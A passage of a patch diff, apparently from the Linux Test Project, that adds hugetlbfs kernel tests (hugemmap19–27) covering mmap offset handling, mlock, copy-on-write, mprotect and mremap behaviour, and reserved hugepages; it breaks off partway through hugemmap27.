(struct tst_tag[]) { + {"linux-git", "af73e4d9506d"}, + {} + }, + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {4, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap19.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap19.c new file mode 100644 index 00000000..11060125 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap19.c @@ -0,0 +1,147 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation. + * Copyright (C) 2006 Hugh Dickins + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Descripiton] + * + * At one stage, a misconversion of hugetlb_vmtruncate_list to a + * prio_tree meant that on 32-bit machines, truncates at or above 4GB + * could truncate lower pages, resulting in BUG_ON()s. + * + * WARNING: The offsets and addresses used within are specifically + * calculated to trigger the bug as it existed. Don't mess with them + * unless you *really* know what you're doing. + * + * The kernel bug in question was fixed with commit + * 856fc2950555. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define RANDOM_CONSTANT 0x1234ABCD +#define MNTPOINT "hugetlbfs/" +static int page_size; +static long hpage_size; +static int fd = -1; + +static void run_test(void) +{ + off_t buggy_offset; + void *p, *q; + volatile int *pi; + int err; + + /* + * First, we make a 2 page sane hugepage mapping. Then we + * memset() it to ensure that the ptes are instantiated for + * it. Then we attempt to replace the second half of the map + * with one at a bogus offset. We leave the first page of + * sane mapping in place to ensure that the corresponding + * pud/pmd/whatever entries aren't cleaned away. It's those + * bad entries which can trigger bad_pud() checks if the + * backout path for the bogus mapping is buggy, which it was + * in some kernels. + */ + tst_res(TINFO, "Initial free hugepages: %lu", + SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE)); + + /* First get arena of three hpages size, at file offset 4GB */ + p = SAFE_MMAP(NULL, 2*hpage_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + + tst_res(TINFO, "After Mapping reference map, Free hugepages: %lu", + SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE)); + tst_res(TINFO, "Mapped Address Range: %p-%p", p, p+2*hpage_size-1); + + memset(p, 0, 2*hpage_size); + pi = p; + *pi = RANDOM_CONSTANT; + + tst_res(TINFO, "After instantiate the pages, Free hugepages: %lu", + SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE)); + + /* + * Toggle the permissions on the first page. This forces TLB + * entries (including hash page table on powerpc) to be + * flushed, so that the page tables must be accessed for the + * test further down. In the buggy case, those page tables + * can get thrown away by a pud_clear() + */ + err = mprotect(p, hpage_size, PROT_READ); + if (err) + tst_brk(TBROK|TERRNO, "mprotect(%p, 0x%lx, PROT_READ)", p, hpage_size); + + /* Replace top hpage by hpage mapping at confusing file offset */ + buggy_offset = page_size; + tst_res(TINFO, "Replacing map at %p with map from offset 0x%lx...", + p + hpage_size, (unsigned long)buggy_offset); + q = mmap(p + hpage_size, hpage_size, PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_PRIVATE, fd, buggy_offset); + if (q != MAP_FAILED) { + tst_res(TFAIL|TERRNO, "bogus offset mmap() succeeded at %p", q); + goto cleanup; + } + if (errno != EINVAL) { + tst_res(TFAIL|TERRNO, "bogus mmap() failed should be \"%s\" but it is", + tst_strerrno(EINVAL)); + goto cleanup; + } + + tst_res(TINFO, "After Mapping with buggy offset, Free hugepages: %lu", + SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE)); + + if (*pi != RANDOM_CONSTANT) { + tst_res(TFAIL, "Pre-existing mapping clobbered: %x instead of %x", + *pi, RANDOM_CONSTANT); + goto cleanup; + } + + /* + * The real test is whether we got a bad_pud() or similar + * during the run. The check above, combined with the earlier + * mprotect()s to flush the TLB are supposed to catch it, but + * it's hard to be certain. Once bad_pud() is called + * behaviour can be very strange. + */ + + tst_res(TPASS, "Successful but inconclusive"); +cleanup: + SAFE_MUNMAP(p, 2*hpage_size); +} + +static void setup(void) +{ + page_size = getpagesize(); + hpage_size = SAFE_READ_MEMINFO("Hugepagesize:")*1024; + fd = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tags = (struct tst_tag[]) { + {"linux-git", "856fc2950555"}, + {} + }, + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {4, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap20.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap20.c new file mode 100644 index 00000000..6bc367f9 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap20.c @@ -0,0 +1,87 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * The test checks that mlocking hugetlb areas works with all combinations + * of MAP_PRIVATE and MAP_SHARED with and without MAP_LOCKED specified. + */ + +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" + +static int fd = -1; +static unsigned long hpage_size; + +static struct tcase { + int flags; + char *flags_str; +} tcases[] = { + {MAP_PRIVATE, "MAP_PRIVATE"}, + {MAP_SHARED, "MAP_SHARED"}, + {MAP_PRIVATE | MAP_LOCKED, "MAP_PRIVATE | MAP_LOCKED"}, + {MAP_SHARED | MAP_LOCKED, "MAP_SHARED | MAP_LOCKED"}, +}; + +static void run_test(unsigned int i) +{ + int ret; + void *p; + struct tcase *tc = &tcases[i]; + + fd = tst_creat_unlinked(MNTPOINT, 0); + p = SAFE_MMAP(0, hpage_size, PROT_READ|PROT_WRITE, tc->flags, fd, 0); + + ret = mlock(p, hpage_size); + if (ret) { + tst_res(TFAIL|TERRNO, "mlock() failed (flags %s)", tc->flags_str); + goto cleanup; + } + + ret = munlock(p, hpage_size); + if (ret) + tst_res(TFAIL|TERRNO, "munlock() failed (flags %s)", tc->flags_str); + else + tst_res(TPASS, "mlock/munlock with %s hugetlb mmap", tc->flags_str); + +cleanup: + SAFE_MUNMAP(p, hpage_size); + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + struct rlimit limit_info; + + hpage_size = tst_get_hugepage_size(); + + SAFE_GETRLIMIT(RLIMIT_MEMLOCK, &limit_info); + if (limit_info.rlim_cur < hpage_size) { + limit_info.rlim_max = hpage_size; + limit_info.rlim_cur = hpage_size; + SAFE_SETRLIMIT(RLIMIT_MEMLOCK, &limit_info); + } +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test = run_test, + .hugepages = {1, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap21.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap21.c new file mode 100644 index 00000000..a8e332eb --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap21.c @@ -0,0 +1,118 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * Tests copy-on-write semantics of large pages where a number of threads + * map the same file with the MAP_PRIVATE flag. The threads then write + * into their copy of the mapping and recheck the contents to ensure they + * were not corrupted by the other threads. + */ + +#include "hugetlb.h" + +#define THREADS 5 +#define NR_HUGEPAGES 6 +#define MNTPOINT "hugetlbfs/" + +static int fd = -1; +static long hpage_size; + +static void do_work(int thread, size_t size, int fd) +{ + char *addr; + size_t i; + char pattern = thread+65; + + addr = SAFE_MMAP(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + + tst_res(TINFO, "Thread %d (pid %d): Mapped at address %p", + thread, getpid(), addr); + + for (i = 0; i < size; i++) + memcpy((char *)addr+i, &pattern, 1); + + if (msync(addr, size, MS_SYNC)) + tst_brk(TBROK | TERRNO, "Thread %d (pid %d): msync() failed", + thread, getpid()); + + for (i = 0; i < size; i++) { + if (addr[i] != pattern) { + tst_res(TFAIL, "thread %d (pid: %d): Corruption at %p; " + "Got %c, Expected %c", thread, getpid(), + &addr[i], addr[i], pattern); + goto cleanup; + } + } + + tst_res(TINFO, "Thread %d (pid %d): Pattern verified", + thread, getpid()); + +cleanup: + SAFE_MUNMAP(addr, size); + exit(0); +} + +static void run_test(void) +{ + int i, pid; + char *addr; + size_t size, itr; + pid_t *wait_list; + + wait_list = SAFE_MALLOC(THREADS * sizeof(pid_t)); + size = (NR_HUGEPAGES / (THREADS+1)) * hpage_size; + + /* + * First, mmap the file with MAP_SHARED and fill with data + * If this is not done, then the fault handler will not be + * called in the kernel since private mappings will be + * created for the children at prefault time. + */ + addr = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + + for (itr = 0; itr < size; itr += 8) + memcpy(addr+itr, "deadbeef", 8); + + for (i = 0; i < THREADS; i++) { + pid = SAFE_FORK(); + + if (pid == 0) + do_work(i, size, fd); + + wait_list[i] = pid; + } + tst_reap_children(); + + SAFE_MUNMAP(addr, size); + free(wait_list); + tst_res(TPASS, "mmap COW working as expected."); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); + fd = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + if (fd >= 1) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .forks_child = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {NR_HUGEPAGES, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap22.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap22.c new file mode 100644 index 00000000..c2deab47 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap22.c @@ -0,0 +1,91 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * This baseline test validates that a mapping of a certain size can be + * created, correctly. Once created, all the pages are filled with a + * pattern and rechecked to test for corruption. The mapping is then + * released. This process is repeated for a specified number of + * iterations. + */ + +#include "hugetlb.h" + +#define NR_HUGEPAGES 2 +#define MNTPOINT "hugetlbfs/" + +static unsigned long hpage_size; +static int fd = -1; + +static void run_test(unsigned int iter) +{ + char *m; + size_t i, j; + char pattern = 'A'; + size_t size = NR_HUGEPAGES*hpage_size; + + fd = tst_creat_unlinked(MNTPOINT, 0); + m = SAFE_MMAP(NULL, size, (PROT_READ|PROT_WRITE), MAP_SHARED, fd, 0); + + for (i = 0; i < NR_HUGEPAGES; i++) { + for (j = 0; j < hpage_size; j++) { + if (*(m+(i*hpage_size)+j) != 0) { + tst_res(TFAIL, "Iter %u: Verifying the mmap area failed. " + "Got %c, expected 0", iter, + *(m+(i*hpage_size)+j)); + goto cleanup; + } + } + } + + for (i = 0; i < NR_HUGEPAGES; i++) { + pattern = 65+(i%26); + memset(m+(i*hpage_size), pattern, hpage_size); + } + + for (i = 0; i < NR_HUGEPAGES; i++) { + pattern = 65+(i%26); + for (j = 0; j < hpage_size; j++) { + if (*(m+(i*hpage_size)+j) != pattern) { + tst_res(TFAIL, "Iter %u: Verifying the mmap area failed. " + "got: %c, expected: %c", iter, + *(m+(i*hpage_size)+j), pattern); + goto cleanup; + } + } + } + + tst_res(TPASS, "Iter %u: Successfully verified the mmap area.", iter); + +cleanup: + SAFE_MUNMAP(m, size); + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tcnt = 2, + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test = run_test, + .hugepages = {NR_HUGEPAGES, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap23.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap23.c new file mode 100644 index 00000000..4c1cff32 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap23.c @@ -0,0 +1,231 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * This test uses mprotect to change protection of hugepage mapping and + * perform read/write operation. It checks if the operation results in + * expected behaviour as per the protection. + */ +#include +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" +#define RANDOM_CONSTANT 0x1234ABCD + +static int fd = -1; +static sigjmp_buf sig_escape; +static void *sig_expected = MAP_FAILED; +static long hpage_size; +static void *addr; + +static struct tcase { + char *tname; + unsigned long len1; + int prot1; + char *prot1_str; + unsigned long len2; + int prot2; + char *prot2_str; +} tcases[] = { + {"R->RW", 1, PROT_READ, "PROT_READ", + 1, PROT_READ|PROT_WRITE, "PROT_READ|PROT_WRITE"}, + + {"RW->R", 1, PROT_READ|PROT_WRITE, "PROT_READ|PROT_WRITE", + 1, PROT_READ, "PROT_READ"}, + + {"R->RW 1/2", 2, PROT_READ, "PROT_READ", + 1, PROT_READ|PROT_WRITE, "PROT_READ|PROT_WRITE"}, + + {"RW->R 1/2", 2, PROT_READ|PROT_WRITE, "PROT_READ|PROT_WRITE", + 1, PROT_READ, "PROT_READ"}, + + {"NONE->R", 1, PROT_NONE, "PROT_NONE", + 1, PROT_READ, "PROT_READ"}, + + {"NONE->RW", 1, PROT_NONE, "PROT_NONE", + 1, PROT_READ|PROT_WRITE, "PROT_READ|PROT_WRITE"}, +}; + +static void sig_handler(int signum, siginfo_t *si, void *uc) +{ + (void)uc; + + if (signum == SIGSEGV) { + tst_res(TINFO, "SIGSEGV at %p (sig_expected=%p)", si->si_addr, + sig_expected); + if (si->si_addr == sig_expected) + siglongjmp(sig_escape, 1); + tst_res(TFAIL, "SIGSEGV somewhere unexpected"); + } else { + tst_res(TFAIL, "Unexpected signal %s", strsignal(signum)); + } +} + +static int test_read(void *p) +{ + volatile unsigned long *pl = p; + unsigned long x; + + if (sigsetjmp(sig_escape, 1)) { + /* We got a SEGV */ + sig_expected = MAP_FAILED; + return -1; + } + + sig_expected = p; + barrier(); + x = *pl; + tst_res(TINFO, "Read back %lu", x); + barrier(); + sig_expected = MAP_FAILED; + return 0; +} + +static int test_write(void *p, unsigned long val) +{ + volatile unsigned long *pl = p; + unsigned long x; + + if (sigsetjmp(sig_escape, 1)) { + /* We got a SEGV */ + sig_expected = MAP_FAILED; + return -1; + } + + sig_expected = p; + barrier(); + *pl = val; + x = *pl; + barrier(); + sig_expected = MAP_FAILED; + + return (x != val); +} + +static int test_prot(void *p, int prot, char *prot_str) +{ + int r, w; + + r = test_read(p); + tst_res(TINFO, "On Read: %d", r); + w = test_write(p, RANDOM_CONSTANT); + tst_res(TINFO, "On Write: %d", w); + + if (prot & PROT_READ) { + if (r != 0) { + tst_res(TFAIL, "read failed on mmap(prot %s)", prot_str); + return -1; + } + } else { + if (r != -1) { + tst_res(TFAIL, "read succeeded on mmap(prot %s)", prot_str); + return -1; + } + } + + if (prot & PROT_WRITE) { + switch (w) { + case -1: + tst_res(TFAIL, "write failed on mmap(prot %s)", prot_str); + return -1; + case 0: + break; + case 1: + tst_res(TFAIL, "write mismatch on mmap(prot %s)", prot_str); + return -1; + default: + tst_res(TWARN, "Bug in test"); + return -1; + } + } else { + switch (w) { + case -1: + break; + case 0: + tst_res(TFAIL, "write succeeded on mmap(prot %s)", prot_str); + return -1; + case 1: + tst_res(TFAIL, "write mismatch on mmap(prot %s)", prot_str); + return -1; + default: + tst_res(TWARN, "Bug in test"); + break; + } + } + + return 0; +} + +static void run_test(unsigned int i) +{ + void *p; + int ret; + struct tcase *tc = &tcases[i]; + + tst_res(TINFO, "Test Name: %s", tc->tname); + + p = SAFE_MMAP(NULL, tc->len1*hpage_size, tc->prot1, MAP_SHARED, fd, 0); + + ret = test_prot(p, tc->prot1, tc->prot1_str); + if (ret) + goto cleanup; + + ret = mprotect(p, tc->len2*hpage_size, tc->prot2); + if (ret != 0) { + tst_res(TFAIL|TERRNO, "%s: mprotect(prot %s)", + tc->tname, tc->prot2_str); + goto cleanup; + } + + ret = test_prot(p, tc->prot2, tc->prot2_str); + if (ret) + goto cleanup; + + if (tc->len2 < tc->len1) + ret = test_prot(p + tc->len2*hpage_size, tc->prot1, tc->prot1_str); + + tst_res(TPASS, "Successfully tested mprotect %s", tc->tname); + +cleanup: + SAFE_MUNMAP(p, tc->len1*hpage_size); +} + +static void setup(void) +{ + struct sigaction sa = { + .sa_sigaction = sig_handler, + .sa_flags = SA_SIGINFO, + }; + + hpage_size = tst_get_hugepage_size(); + SAFE_SIGACTION(SIGSEGV, &sa, NULL); + + fd = tst_creat_unlinked(MNTPOINT, 0); + addr = SAFE_MMAP(NULL, 2*hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + memset(addr, 0, hpage_size); + SAFE_MUNMAP(addr, hpage_size); +} + +static void cleanup(void) +{ + SAFE_MUNMAP(addr+hpage_size, hpage_size); + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test = run_test, + .hugepages = {2, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap24.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap24.c new file mode 100644 index 00000000..158a0301 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap24.c @@ -0,0 +1,197 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2009 IBM Corporation. + * Author: David Gibson + */ + +/*\ + * [Description] + * + * Kernel has bug in mremap for some architecture. mremap() can cause + * crashes on architectures with holes in the address space (like ia64) + * and on powerpc with it's distict page size slices. + * + * This test perform mremap() with normal and hugepages around powerpc + * slice boundary. + */ + +#define _GNU_SOURCE +#include "hugetlb.h" + +#define RANDOM_CONSTANT 0x1234ABCD +#define MNTPOINT "hugetlbfs/" + +static int fd = -1; +static unsigned long slice_boundary; +static unsigned long hpage_size, page_size; + +static int init_slice_boundary(int fd) +{ + unsigned long slice_size; + void *p, *heap; + int i; +#if defined(__LP64__) && !defined(__aarch64__) + /* powerpc: 1TB slices starting at 1 TB */ + slice_boundary = 0x10000000000; + slice_size = 0x10000000000; +#else + /* powerpc: 256MB slices up to 4GB */ + slice_boundary = 0x00000000; + slice_size = 0x10000000; +#endif + + /* dummy malloc so we know where is heap */ + heap = malloc(1); + free(heap); + + /* Avoid underflow on systems with large huge pages. + * The additionally plus heap address is to reduce the possibility + * of MAP_FIXED stomp over existing mappings. + */ + while (slice_boundary + slice_size < (unsigned long)heap + 2*hpage_size) + slice_boundary += slice_size; + + /* Find 2 neighbour slices with couple huge pages free + * around slice boundary. + * 16 is the maximum number of slices (low/high) + */ + for (i = 0; i < 16-1; i++) { + slice_boundary += slice_size; + p = mmap((void *)(slice_boundary-2*hpage_size), 4*hpage_size, + PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0); + if (p == MAP_FAILED) { + tst_res(TINFO|TERRNO, "can't use slice_boundary: 0x%lx", + slice_boundary); + } else { + SAFE_MUNMAP(p, 4*hpage_size); + break; + } + } + + if (p == MAP_FAILED) { + tst_res(TFAIL|TERRNO, "couldn't find 2 free neighbour slices"); + return -1; + } + + tst_res(TINFO, "using slice_boundary: 0x%lx", slice_boundary); + + return 0; +} + +static void run_test(void) +{ + void *p = NULL, *q = NULL, *r; + long p_size, q_size; + int ret; + + fd = tst_creat_unlinked(MNTPOINT, 0); + ret = init_slice_boundary(fd); + if (ret) + goto cleanup; + + /* First, hugepages above, normal below */ + tst_res(TINFO, "Testing with hpage above & normal below the slice_boundary"); + p_size = hpage_size; + p = SAFE_MMAP((void *)(slice_boundary + hpage_size), p_size, + PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, 0); + + ret = do_readback(p, p_size, "huge above"); + if (ret) + goto cleanup; + + q_size = page_size; + q = SAFE_MMAP((void *)(slice_boundary - page_size), q_size, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); + + ret = do_readback(q, q_size, "normal below"); + if (ret) + goto cleanup; + + r = mremap(q, page_size, 2*page_size, 0); + if (r == MAP_FAILED) { + tst_res(TINFO, "mremap(%p, %lu, %lu, 0) disallowed", + q, page_size, 2*page_size); + } else { + q_size = 2*page_size; + if (r != q) { + tst_res(TFAIL, "mremap() moved without MREMAP_MAYMOVE!?"); + ret = -1; + } else + ret = do_readback(q, 2*page_size, "normal below expanded"); + } + + SAFE_MUNMAP(p, p_size); + SAFE_MUNMAP(q, q_size); + if (ret) + goto cleanup_fd; + + /* Next, normal pages above, huge below */ + tst_res(TINFO, "Testing with normal above & hpage below the slice_boundary"); + p_size = page_size; + p = SAFE_MMAP((void *)(slice_boundary + hpage_size), p_size, + PROT_READ|PROT_WRITE, + MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + + ret = do_readback(p, p_size, "normal above"); + if (ret) + goto cleanup; + + q_size = hpage_size; + q = SAFE_MMAP((void *)(slice_boundary - hpage_size), + q_size, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, 0); + + ret = do_readback(q, q_size, "huge below"); + if (ret) + goto cleanup; + + r = mremap(q, hpage_size, 2*hpage_size, 0); + if (r == MAP_FAILED) { + tst_res(TINFO, "mremap(%p, %lu, %lu, 0) disallowed", + q, hpage_size, 2*hpage_size); + } else { + q_size = 2*hpage_size; + if (r != q) { + tst_res(TFAIL, "mremap() moved without MREMAP_MAYMOVE!?"); + ret = -1; + } else + ret = do_readback(q, 2*hpage_size, "huge below expanded"); + } + if (ret) + goto cleanup; + + tst_res(TPASS, "Successful"); + +cleanup: + if (p) + SAFE_MUNMAP(p, p_size); + if (q) + SAFE_MUNMAP(q, q_size); +cleanup_fd: + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); + page_size = getpagesize(); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {4, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap25.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap25.c new file mode 100644 index 00000000..71beb90d --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap25.c @@ -0,0 +1,124 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2009 IBM Corporation. + * Author: David Gibson + */ + +/*\ + * [Description] + * + * The kernel has bug for mremap() on some architecture. mremap() can + * cause crashes on architectures with holes in the address space + * (like ia64) and on powerpc with it's distinct page size "slices". + * + * This test get the normal mapping address and mremap() hugepage mapping + * near to this normal mapping. + */ + +#define _GNU_SOURCE +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" + +static int fd = -1; +static long hpage_size; + +static int do_remap(int fd, void *target) +{ + void *a, *b; + int ret; + + a = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + + ret = do_readback(a, hpage_size, "base huge"); + if (ret) + goto cleanup; + + b = mremap(a, hpage_size, hpage_size, MREMAP_MAYMOVE | MREMAP_FIXED, + target); + + if (b != MAP_FAILED) { + ret = do_readback(b, hpage_size, "remapped"); + a = b; + } else { + tst_res(TINFO|TERRNO, "mremap(MAYMOVE|FIXED) disallowed"); + } + +cleanup: + SAFE_MUNMAP(a, hpage_size); + return ret; +} + +static void *map_align(size_t size, size_t align) +{ + unsigned long xsize = size + align - getpagesize(); + size_t t; + void *p, *q; + + p = SAFE_MMAP(NULL, xsize, PROT_READ|PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); + + q = PALIGN(p, align); + + t = q - p; + if (t) + SAFE_MUNMAP(p, t); + + t = p + xsize - (q + size); + if (t) + SAFE_MUNMAP(q + size, t); + + return q; +} + +static void run_test(void) +{ + void *p; + int ret; + + fd = tst_creat_unlinked(MNTPOINT, 0); + p = map_align(3*hpage_size, hpage_size); + + SAFE_MUNMAP(p, hpage_size); + SAFE_MUNMAP(p + 2*hpage_size, hpage_size); + + p = p + hpage_size; + + tst_res(TINFO, "Normal mapping at %p", p); + ret = do_readback(p, hpage_size, "base normal page"); + if (ret) + goto cleanup; + + ret = do_remap(fd, p - hpage_size); + if (ret) + goto cleanup; + + ret = do_remap(fd, p + hpage_size); + if (ret == 0) + tst_res(TPASS, "Successfully tested mremap hpage near normal mapping"); + +cleanup: + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {3, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap26.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap26.c new file mode 100644 index 00000000..609f2b63 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap26.c @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2009 IBM Corporation. + * Author: David Gibson + */ + +/*\ + * [Description] + * + * Test Description: The kernel has bug for mremap() on some architecture. + * mremap() can cause crashes on architectures with holes in the address + * space (like ia64) and on powerpc with it's distinct page size "slices". + * + * This test get the huge mapping address and mremap() normal mapping + * near to this huge mapping. + */ + +#define _GNU_SOURCE +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" + +static int fd = -1; +static long hpage_size, page_size; + +static int do_remap(void *target) +{ + void *a, *b; + int ret; + + a = SAFE_MMAP(NULL, page_size, PROT_READ|PROT_WRITE, + MAP_SHARED|MAP_ANONYMOUS, -1, 0); + + ret = do_readback(a, page_size, "base normal"); + if (ret) + goto cleanup; + + b = mremap(a, page_size, page_size, MREMAP_MAYMOVE | MREMAP_FIXED, + target); + + if (b != MAP_FAILED) { + do_readback(b, page_size, "remapped"); + a = b; + } else { + tst_res(TINFO|TERRNO, "mremap(MAYMOVE|FIXED) disallowed"); + } + +cleanup: + SAFE_MUNMAP(a, page_size); + return ret; +} + +static void run_test(void) +{ + void *p; + int ret; + + fd = tst_creat_unlinked(MNTPOINT, 0); + p = SAFE_MMAP(NULL, 3*hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + + SAFE_MUNMAP(p, hpage_size); + + SAFE_MUNMAP(p + 2*hpage_size, hpage_size); + + p = p + hpage_size; + + tst_res(TINFO, "Hugepage mapping at %p", p); + + ret = do_readback(p, hpage_size, "base hugepage"); + if (ret) + goto cleanup; + + ret = do_remap(p - page_size); + if (ret) + goto cleanup; + + ret = do_remap(p + hpage_size); + if (ret == 0) + tst_res(TPASS, "Successfully tested mremap normal near hpage mapping"); + +cleanup: + SAFE_MUNMAP(p, hpage_size); + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); + page_size = getpagesize(); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {3, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap27.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap27.c new file mode 100644 index 00000000..218d9e19 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap27.c @@ -0,0 +1,123 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2013 LG Electronics. + * Author: Joonsoo Kim + */ + +/*\ + * [Description] + * + * Test to preserve a reserved page against no-reserved mapping. If all + * hugepages are reserved, access to no-reserved shared mapping cause a + * process die, instead of stealing a hugepage which is reserved for other + * process. + */ + +#include +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" +static long hpage_size; +static int fd1 = -1, fd2 = -1; +static sigjmp_buf sig_escape; +static void *sig_expected = MAP_FAILED; + +static void sig_handler(int signum, siginfo_t *si, void *uc) +{ + (void)uc; + + if (signum == SIGBUS) { + if (si->si_addr == sig_expected) + siglongjmp(sig_escape, 1); + tst_res(TFAIL, "SIGBUS somewhere unexpected: %p (expected: %p)", + si->si_addr, 